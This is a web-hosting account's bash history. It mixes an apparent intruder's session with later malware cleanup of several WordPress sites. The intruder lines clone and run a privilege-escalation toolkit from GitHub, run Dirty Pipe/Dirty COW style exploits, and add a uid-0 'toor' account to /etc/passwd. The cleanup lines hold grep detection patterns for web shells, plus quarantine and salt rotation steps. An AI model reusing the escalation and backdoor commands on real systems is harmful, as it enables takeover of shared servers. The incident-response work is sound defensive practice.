Edit: /home/cp072267/.bash_history (21513B)
#1774673834
ll
#1774673840
public_html/
#1774673840
ll
#1774673846
cd public_html/
#1774673846
[A
#1774673852
rm -fr dkrgroupholdings.com/
#1774673907
pwd
#1774673920
find . -type d -exec chmod 755 {} \;
#1774673928
find . -type f -exec chmod 644 {} \;
#1774673929
ll
#1774673932
rm -fr dkrgroupholdings.com/
#1774673936
rm -fr eon-biomass.com/
#1774673939
rm -fr pornpukdee-group.com/
#1774673942
kill -9 -1
#1774673963
ll
#1774673966
cd public_
#1774673970
cd public_html/
#1774673970
ll
#1774673977
find . -type f -exec chmod 644 {} \;
#1774673983
find . -type d -exec chmod 755 {} \;
#1774673985
rm -fr pornpukdee-group.com/
#1774673986
ll
ls
./dirty
rm /tmp/passwd.bak
./dirty
yanz
su
sudo
whoami
ls
cd
cd /home/
ls
whoami
cls
clear
id
id root
root
root ?
id
id
uname -a
kill -9 -1
ps aux
kill -9 -1
ps aux
ls
cd LPE-Toolkit
ls
./xpl2026
ls
cd LPE-Toolkit
ls
./xpl2026
ls
whoami
ls-a
ls -a
cd
git clone https://github.com/coupdegrace223/LPE-Toolkit.git
cd LPE-Toolkit
chmod +x xpl2026
./xpl2026
ls
cd rootbyramdanganteng
ls
./dirtypipezbyRm19ganteng
chmod +x dirtypipezbyRm19ganteng
./dirtypipezbyRm19ganteng
./dirtypipezbyRm19ganteng
ls
ping
ping 8.8.8.8 -t
ping 8.8.8.8 -t
ping 8.8.8.8
ls
cd dirtypipezbyRm19ganteng
ls
./dirtypipezbyRm19ganteng
dirtypipezbyRm19ganteng
dirtypipezbyRm19ganteng
./dirtypipezbyRm19ganteng new-password yanz
ls
ls
su
whoami
lst
ls
sudo su
cat /etc/passwd
toor
id toor
id root yanz
passwd
passwd root
passwd toor
cat /tmp/passwd.bak
cat /etc/passwd
whoami
ls
git clone https://github.com/coupdegrace223/LPE-Toolkit.git
cd LPE-Toolkit
chmod +x xpl2026ls
chmod +x xpl2026l
chmod +x xpl2026
ls
./xpl2026
ls
gcc -pthread dirty.c -o dirty -lcrypt
dirty
./dirty
rm /tmp/passwd.bak
./dirty
cat /etc/passwd
toor
id toor
id root
id
whoami
toor:toRmHgauGO8yg:0:0:pwned:/root:/bin/bash
toor:toRmHgauGO8yg:0:0:pwned:/root:/bin/bash
su
sudo
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
python -c ‘import pty; pty.spawn(“/bin/bash”)’
python -c ‘import pty; pty.spawn(“/bin/bash”)’
python -c 'import pty; pty.spawn("/bin/bash")'
ls
cd rootbyramdanganteng
ls
./dirtypipezbyRm19ganteng
#1786173961
cd ~/public_html/pornpukdee-group.com
#1786173986
pwd
#1786174023
ls
#1786174076
find . -type d -exec chmod 755 {} \;
#1786174321
cd ~/public_html/pornpukdee-group.com
#1786174331
pwd
#1786174350
ls
#1786174415
find . -type d -exec chmod 755 {} \;
#1786174436
find . -type f -exec chmod 644 {} \;
#1786175462
cd ~/public_html/dkrgroupholdings.com
#1786175524
pwd
#1786175571
find . -type d -exec chmod 755 {} \;
#1786175581
find . -type f -exec chmod 644 {} \;
#1786175632
pwd
#1786175640
ls -la
#1786175767
find /home/cp072267/public_html/dkrgroupholdings.com -mindepth 1 -delete
#1786175789
ls -la /home/cp072267/public_html/dkrgroupholdings.com
#1786175843
cd ~/public_html/eon-biomass.com
#1786175864
pwd
#1786176099
cd ~/public_html/eon-biomass.com
#1786176105
pwd
#1786176122
ls -la
#1786176303
find ~/tmp -maxdepth 2 -type f -printf '%TY-%Tm-%Td %TH:%TM %s bytes %p\n' | sort
#1786176460
ls -lah ~/tmp/system
#1786176501
file ~/tmp/system/*
#1786176569
find /home/cp072267/tmp/system -mindepth 1 -delete
#1786176580
ls -la /home/cp072267/tmp/system
#1786176632
find /home/cp072267 -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.php7" \) 2>/dev/null
#1786176915
find /home/cp072267 -type f \( -name '*Cdefault.php' -o -name '*CDefault.php' \) 2>/dev/null | wc -l
#1786176944
find /home/cp072267 -type f \( -name '*Cdefault.php' -o -name '*CDefault.php' \) -printf '%f\n' 2>/dev/null | sort -u
#1786177015
find /home/cp072267 -type f -iname '*cdefault.php' 2>/dev/null | wc -l
#1786177077
find /home/cp072267 -type f -iname '*cdefault.php' -delete 2>/dev/null
#1786177091
find /home/cp072267 -type f -iname '*cdefault.php' 2>/dev/null | wc -l
#1786177175
find /home/cp072267 -type d -name system 2>/dev/null
#1786177209
find /home/cp072267 -type f -name ".htaccess" 2>/dev/null
#1786177333
find /home/cp072267 -type d -name system -exec sh -c 'echo "===== $1 ====="; find "$1" -maxdepth 1 -type f -printf "%f %s bytes\n"' _ {} \; 2>/dev/null
#1786178788
cat /home/cp072267/.ssh/system/.htaccess
#1786178864
find /home/cp072267 -depth -type d -name system -exec sh -c '
d="$1"
n=$(find "$d" -maxdepth 1 -type f ! -name ".htaccess" | wc -l)
sub=$(find "$d" -mindepth 1 -maxdepth 1 -type d | wc -l)
if [ "$n" -eq 0 ] && [ "$sub" -eq 0 ] && [ -f "$d/.htaccess" ] && [ "$(wc -c < "$d/.htaccess")" -eq 19 ]; then
echo "REMOVING: $d"
rm -f "$d/.htaccess"
rmdir "$d"
fi
' _ {} \; 2>/dev/null
#1786178888
find /home/cp072267 -type d -name system 2>/dev/null
#1786178975
find /home/cp072267 -path "/home/cp072267/public_html" -prune -o -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786179290
ls -la /home/cp072267/tmp/system
#1786179306
find /home/cp072267/tmp/system -type f -printf '%p %s bytes\n' 2>/dev/null
#1786179356
rmdir /home/cp072267/tmp/system
#1786179364
find /home/cp072267 -type d -name system 2>/dev/null
#1786179421
grep -RInE --include='*.php' --include='*.phtml' --include='*.php5' --include='*.php7' 'eval[[:space:]]*\(|base64_decode[[:space:]]*\(|gzinflate[[:space:]]*\(|gzuncompress[[:space:]]*\(|shell_exec[[:space:]]*\(|passthru[[:space:]]*\(|system[[:space:]]*\(|exec[[:space:]]*\(' /home/cp072267/public_html 2>/dev/null
#1786179497
find /home/cp072267/public_html -type f -path "*/wp-content/uploads/*" \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786179577
find /home/cp072267 -type f -mmin -30 -printf '%TY-%Tm-%Td %TH:%TM:%TS %s bytes %p\n' 2>/dev/null | sort
#1786179673
crontab -l 2>&1
#1786179742
grep -HnE 'curl|wget|php|python|perl|base64|eval|system|exec|tmp|nohup' /home/cp072267/.bashrc /home/cp072267/.bash_profile /home/cp072267/.profile /home/cp072267/.bash_login 2>/dev/null
#1786179817
find /home/cp072267/public_html -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -mtime -14 -printf '%TY-%Tm-%Td %TH:%TM:%TS %s bytes %p\n' 2>/dev/null | sort
#1786180846
head -n 30 /home/cp072267/.cl.selector/memberfuns.php /home/cp072267/.cl.selector/filefuns.php
#1786181249
mkdir -p /home/cp072267/quarantine_20260808 && chmod 700 /home/cp072267/quarantine_20260808 && mv /home/cp072267/.cl.selector/memberfuns.php /home/cp072267/.cl.selector/filefuns.php /home/cp072267/quarantine_20260808/ && chmod 000 /home/cp072267/quarantine_20260808/*
#1786181259
ls -la /home/cp072267/.cl.selector/
#1786181303
grep -RIl --include='*.php' --include='*.phtml' --include='*.php5' --include='*.php7' -E 'goto [A-Za-z0-9_]{5,}|curl_exec[[:space:]]*\(|INPUT_GET|metaphone[[:space:]]*\(' /home/cp072267 2>/dev/null
#1786181379
find /home/cp072267/public_html -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -printf '%p\n' 2>/dev/null | grep -Ei '/uploads/|/cache/|/tmp/|/images/|/img/|/assets/|/fonts/'
#1786181457
find /home/cp072267/public_html -type f -name "wp-config.php" -printf '%h\n' 2>/dev/null
#1786181533
find /home/cp072267/public_html -mindepth 1 -maxdepth 2 -type d -printf '%p\n' 2>/dev/null | sort
#1786181585
find /home/cp072267/public_html -maxdepth 3 -type f -printf '%TY-%Tm-%Td %TH:%TM %10s bytes %p\n' 2>/dev/null | sort
#1786181647
find /home/cp072267/public_html -type f -printf '%TY-%Tm-%Td %TH:%TM %10s bytes %p\n' 2>/dev/null | sort | head -200
#1786181774
find /home/cp072267 -type d \( -name "public_html" -o -name "dkrgroupholdings.com" -o -name "eon-biomass.com" -o -name "pornpukdee-group.com" \) -print 2>/dev/null
#1786181870
find /home/cp072267 -type f \( -iname "*.tar.gz" -o -iname "*.tgz" -o -iname "*.zip" -o -iname "*.tar" -o -iname "*.sql" -o -iname "*.sql.gz" \) -printf '%TY-%Tm-%Td %TH:%TM %12s bytes %p\n' 2>/dev/null | sort
#1786181931
tar -tzf /home/cp072267/application_backups/app_dkrgroupholdings-com_DKR-Group-Holdings_2026-07-30_02-14-11.tar.gz | head -100
#1786182078
tar -xOzf /home/cp072267/application_backups/app_dkrgroupholdings-com_DKR-Group-Holdings_2026-07-30_02-14-11.tar.gz APP-META.INI
#1786185224
tar -xOzf /home/cp072267/application_backups/app_dkrgroupholdings-com_DKR-Group-Holdings_2026-07-30_02-14-11.tar.gz APP-DATA.SQL >/dev/null && echo "DATABASE OK" || echo "DATABASE ERROR"
#1786185791
ps aux | grep '[t]ar.*backup_check_20260730'
#1786185879
du -sh /home/cp072267/backup_check_20260730 2>/dev/null
#1786185413
mkdir -p /home/cp072267/backup_check_20260730 && tar -xzf /home/cp072267/application_backups/app_dkrgroupholdings-com_DKR-Group-Holdings_2026-07-30_02-14-11.tar.gz -C /home/cp072267/backup_check_20260730
#1786186516
grep -RIl --include='*.php' --include='*.phtml' --include='*.php5' --include='*.php7' -E 'goto [A-Za-z0-9_]{5,};|curl_exec[[:space:]]*\(|metaphone[[:space:]]*\(|eval[[:space:]]*\([[:space:]]*base64_decode|shell_exec[[:space:]]*\(' /home/cp072267/backup_check_20260730 2>/dev/null
#1786186648
sed -n '1,80p' /home/cp072267/backup_check_20260730/wp-includes/blocks/query-pagination/wp-login.php
#1786186795
mkdir -p /home/cp072267/backup_check_20260307 && tar -xzf /home/cp072267/application_backups/app_dkrgroupholdings-com_DKR-Group-Holdings_2026-03-07_20-35-19.tar.gz -C /home/cp072267/backup_check_20260307
#1786187355
grep -RIl --include='*.php' --include='*.phtml' --include='*.php5' --include='*.php7' -E 'goto [A-Za-z0-9_]{5,};|curl_exec[[:space:]]*\(|metaphone[[:space:]]*\(|eval[[:space:]]*\([[:space:]]*base64_decode|shell_exec[[:space:]]*\(' /home/cp072267/backup_check_20260307 2>/dev/null
#1786187448
find /home/cp072267/backup_check_20260307/wp-content/uploads -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786187512
cat /home/cp072267/backup_check_20260307/wp-content/uploads/wpforms/cache/index.php
#1786187571
find /home/cp072267/backup_check_20260307/wp-content/uploads -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786187641
find /home/cp072267/backup_check_20260307 -type f \( -name "*.php" -o -name "*.phtml" \) -newermt "2026-03-01" ! -newermt "2026-03-08" -printf '%TY-%Tm-%Td %TH:%TM %s bytes %p\n' 2>/dev/null | sort
#1786187775
find /home/cp072267/backup_check_20260307 -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.php7" \) -printf '%s %p\n' 2>/dev/null | awk '$1 < 50000' | grep -Ei '/uploads/|/cache/|/tmp/|/images/|/fonts/|/assets/|/wp-admin/[^/]+\.php$|/wp-includes/[^/]+\.php$' | sort
#1786187876
grep -RIl --include='*.php' --include='*.phtml' -E 'base64_decode[[:space:]]*\(|gzinflate[[:space:]]*\(|shell_exec[[:space:]]*\(|passthru[[:space:]]*\(|eval[[:space:]]*\(' /home/cp072267/backup_check_20260307/wp-content 2>/dev/null | grep -Ev '/vendor/|/vendor_prefixed/|/node_modules/'
#1786187953
find /home/cp072267/backup_check_20260307 -maxdepth 1 -type f -printf '%s bytes %f\n' | sort -k3
#1786188007
grep -Ein '(
]+src=)' /home/cp072267/backup_check_20260307/APP-DATA.SQL | head -100
#1786188155
grep -Eio 'eval\(|base64_decode|gzinflate|shell_exec|passthru\(|assert\(|system\(|exec\(|fromCharCode|atob\(' /home/cp072267/backup_check_20260307/APP-DATA.SQL | sort | uniq -c
#1786188275
grep -E "INSERT INTO .*users|INSERT INTO \`[^[:space:]]*users\`" /home/cp072267/backup_check_20260307/APP-DATA.SQL | grep -oE "\([0-9]+,'[^']*','[^']*','[^']*','[^']*'" | head -30
#1786188401
grep -nE "rjvm_capabilities|rjvm_user_level" /home/cp072267/backup_check_20260307/APP-DATA.SQL | grep -E "'1'|,1," | head -20
#1786188494
grep -oE "INSERT INTO \`rjvm_users\` VALUES.*" /home/cp072267/backup_check_20260307/APP-DATA.SQL | sed 's/),(/)\n(/g' | head -50
#1786189059
grep -Ein '(/dev/null | grep -Ev '/vendor/|/vendor_prefixed/|/node_modules/' | head -30; echo "=== DATABASE SUSPICIOUS ==="; grep -Eio 'base64_decode|gzinflate|shell_exec|passthru|eval\(|assert\(|fromCharCode|document\.write' /home/cp072267/backup_check_porn_20260307/APP-DATA.SQL 2>/dev/null | sort | uniq -c
#1786192625
find /home/cp072267/backup_check_porn_20260307/wp-content/uploads -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786192746
cat /home/cp072267/backup_check_porn_20260307/wp-content/uploads/wpforms/cache/index.php
#1786192784
grep -E "rjvm_capabilities|rjvm_user_level" /home/cp072267/backup_check_porn_20260307/APP-DATA.SQL | grep -E "'1'|,1," | head -20
#1786192854
grep -oE "'[^']+_capabilities'" /home/cp072267/backup_check_porn_20260307/APP-DATA.SQL | sort -u
#1786192938
grep -nE "qv28_capabilities|qv28_user_level" /home/cp072267/backup_check_porn_20260307/APP-DATA.SQL | grep -E "'1'|,1," | head -20
#1786193008
grep -oE "INSERT INTO \`qv28_users\` VALUES.*" /home/cp072267/backup_check_porn_20260307/APP-DATA.SQL | sed 's/),(/)\n(/g' | head -10
#1786193732
rm -rf /home/cp072267/backup_check_20260307 /home/cp072267/backup_check_20260730 /home/cp072267/backup_check_porn_20260307
#1786193755
ls -lah /home/cp072267/
#1786194318
cd /home/cp072267/public_html/pornpukdee-group.com
#1786194319
wp user list --fields=ID,user_login,user_email,roles
#1786194421
grep -E "DB_NAME|DB_USER|table_prefix" wp-config.php
#1786197009
cd /home/cp072267/public_html/pornpukdee-group.com
#1786197009
echo "=== PHP IN UPLOADS ==="
#1786197009
find wp-content/uploads -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php5" -o -iname "*.php7" \) -print 2>/dev/null
#1786197009
echo "=== MU-PLUGINS ==="
#1786197009
find wp-content/mu-plugins -type f -maxdepth 2 -print 2>/dev/null
#1786197009
echo "=== ROOT FILES ==="
#1786197009
find . -maxdepth 1 -type f -printf "%f %TY-%Tm-%Td %TH:%TM\n" | sort
#1786197009
echo "=== HTACCESS FILES ==="
#1786197022
find . -name ".htaccess" -type f -print 2>/dev/null
#1786197234
echo "=== ROOT HTACCESS ==="
#1786197234
cat .htaccess
#1786197234
echo "=== WPFORMS HTACCESS 1 ==="
#1786197234
cat wp-content/uploads/wpforms/.htaccess
#1786197235
echo "=== WPFORMS HTACCESS 2 ==="
#1786197235
cat wp-content/uploads/wpforms/cache/.htaccess
#1786197235
echo "=== WP-CONFIG SUSPICIOUS ==="
#1786197273
echo "=== ROOT HTACCESS ==="
#1786197273
cat .htaccess
#1786197273
echo "=== WPFORMS HTACCESS 1 ==="
#1786197273
cat wp-content/uploads/wpforms/.htaccess
#1786197273
echo "=== WPFORMS HTACCESS 2 ==="
#1786197273
cat wp-content/uploads/wpforms/cache/.htaccess
#1786197273
echo "=== WP-CONFIG SUSPICIOUS ==="
#1786197275
grep -nEi 'base64_decode|gzinflate|eval[[:space:]]*\(|shell_exec|passthru|system[[:space:]]*\(|exec[[:space:]]*\(|assert[[:space:]]*\(|include[[:space:]]*\(|require[[:space:]]*\(|auto_prepend|curl_exec|file_get_contents|fromCharCode' wp-config.php
#1786197371
cd /home/cp072267/public_html/pornpukdee-group.com
#1786197404
pwd
#1786197410
ls -la .htaccess wp-config.php
#1786197463
grep -nEi 'base64_decode|gzinflate|eval[[:space:]]*\(|shell_exec|passthru|system[[:space:]]*\(|exec[[:space:]]*\(|assert[[:space:]]*\(|include[[:space:]]*\(|require[[:space:]]*\(|auto_prepend|curl_exec|file_get_contents|fromCharCode' wp-config.php
#1786197512
cat .htaccess
#1786197640
cat wp-content/mu-plugins/automation-by-installatron.php
#1786197736
find . -type f -name "*.php" -newermt "2026-01-01" -printf "%TY-%Tm-%Td %TH:%TM %p\n" 2>/dev/null | sort
#1786197854
find wp-content -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.php7" \) -not -path "wp-content/plugins/*" -not -path "wp-content/themes/*" -not -path "wp-content/mu-plugins/*" -print 2>/dev/null
#1786197954
grep -RniE --include="*.php" 'base64_decode|gzinflate|shell_exec|passthru|eval[[:space:]]*\(|assert[[:space:]]*\(|system[[:space:]]*\(|exec[[:space:]]*\(' wp-content 2>/dev/null | grep -v '/vendor/' | head -100
#1786198182
grep -RIl --include="*.php" "goto " wp-content 2>/dev/null | while read f; do grep -q "base64_decode" "$f" && echo "$f"; done
#1786198283
find wp-content/plugins/yoast-context-by-helper -type f -maxdepth 3 -printf "%TY-%Tm-%Td %TH:%TM %s bytes %p\n" 2>/dev/null | sort
#1786199001
cd /home/cp072267/public_html/pornpukdee-group.com
#1786199045
mkdir -p ~/malware-quarantine
#1786199045
mv wp-content/plugins/yoast-context-by-helper ~/malware-quarantine/
#1786199046
echo "=== QUARANTINED ==="
#1786199050
ls -la ~/malware-quarantine/yoast-context-by-helper/
#1786199129
cd /home/cp072267/public_html/pornpukdee-group.com
#1786199129
echo "=== SUPER-BLANK FILES ==="
#1786199129
find wp-content/plugins/super-blank -type f -maxdepth 4 -printf "%TY-%Tm-%Td %TH:%TM %8s bytes %p\n" 2>/dev/null | sort
#1786199129
echo "=== SUSPICIOUS CODE ==="
#1786199129
grep -RniE --include="*.php" 'base64_decode|eval[[:space:]]*\(|gzinflate|shell_exec|passthru|exec[[:space:]]*\(|system[[:space:]]*\(|assert[[:space:]]*\(|goto |wp_create_user|wp_insert_user|set_role|wp_remote_post|curl_exec|file_get_contents[[:space:]]*\(' \
#1786199286
grep -RniE 'goto |base64_decode|wp_create_user|wp_insert_user|set_role|wp_remote_post|shell_exec|gzinflate' wp-content/plugins/super-blank --include='*.php' 2>/dev/null | head -80
#1786199361
find wp-content -type f -name '*.php' -mtime -30 -not -path '*/cache/*' -not -path '*/upgrade/*' -printf '%TY-%Tm-%Td %TH:%TM %8s %p\n' 2>/dev/null | sort
#1786199454
find wp-content/plugins -mindepth 1 -maxdepth 1 -type d -printf '%TY-%Tm-%Td %TH:%TM %f\n' | sort
#1786199519
find wp-content/plugins/canonical-remote-control -maxdepth 3 -type f -printf '%TY-%Tm-%Td %TH:%TM %8s %p\n' 2>/dev/null | sort
#1786199591
head -80 wp-content/plugins/canonical-remote-control/canonical-remote-control.php
#1786199792
mkdir -p ~/malware-quarantine
#1786199792
mv wp-content/plugins/canonical-remote-control ~/malware-quarantine/
#1786199794
echo "=== QUARANTINED CRC ==="
#1786199837
ls -la ~/malware-quarantine/canonical-remote-control/
#1786199915
grep -RniE 'govno2japan|crc_admin_session|crc_bot_visits_queue|CRC_SERVER|canonical-remote-control' . --exclude-dir='.git' 2>/dev/null | head -100
#1786200060
grep -RniE 'govno2japan|crc_admin_session|crc_bot_visits_queue|CRC_SERVER|canonical-remote-control' wp-content wp-config.php .htaccess --exclude-dir=cache 2>/dev/null | head -100
#1786201867
find wp-content/plugins/super-blank -maxdepth 1 -type f -name '*.php' -printf '%f\n'
#1786201926
cd /home/cp072267/public_html/pornpukdee-group.com
#1786201937
find wp-content/plugins/super-blank -maxdepth 1 -type f -name '*.php' -printf '%f\n'
#1786202919
cd /home/cp072267/public_html/pornpukdee-group.com && grep -RniE 'govno2japan|crc_admin_session|crc_bot_visits_queue|CRC_SERVER|canonical-remote-control|yoast-context-by-helper' wp-content wp-config.php .htaccess 2>/dev/null | head -100
#1786203003
grep -nE "AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT" wp-config.php
#1786203202
cp wp-config.php wp-config.php.backup-before-salt-change
#1786203214
ls -l wp-config.php wp-config.php.backup-before-salt-change
#1786203331
php -r '$f="wp-config.php"; $s=file_get_contents($f); foreach(["AUTH_KEY","SECURE_AUTH_KEY","LOGGED_IN_KEY","NONCE_KEY","AUTH_SALT","SECURE_AUTH_SALT","LOGGED_IN_SALT","NONCE_SALT"] as $k){$v=bin2hex(random_bytes(32));$s=preg_replace("/define\(\x27".$k."\x27\s*,.*?\);/","define(\x27".$k."\x27, \x27".$v."\x27);",$s,1);} file_put_contents($f,$s);'
#1786203350
php -l wp-config.php
#1786203834
cd /home/cp072267/public_html/pornpukdee-group.com && php -r "include 'wp-includes/version.php'; echo 'WordPress: '.$wp_version.PHP_EOL;" && grep -hE '^[[:space:]]*\*[[:space:]]*(Version|Theme Name):' wp-content/plugins/elementor/elementor.php wp-content/plugins/wpforms-lite/wpforms.php wp-content/plugins/super-blank/super-blank.php wp-content/themes/astra/style.css 2>/dev/null
#1786204054
grep "\$wp_version =" wp-includes/version.php
#1786204113
grep -i "Version:" wp-content/plugins/elementor/elementor.php | head -1
#1786204158
grep -i "Version:" wp-content/plugins/wpforms-lite/wpforms.php | head -1
#1786204187
grep -i "Version:" wp-content/plugins/super-blank/super-blank.php | head -1
#1786204246
grep -i "Version:" wp-content/themes/astra/style.css | head -1
#1786204354
wp --info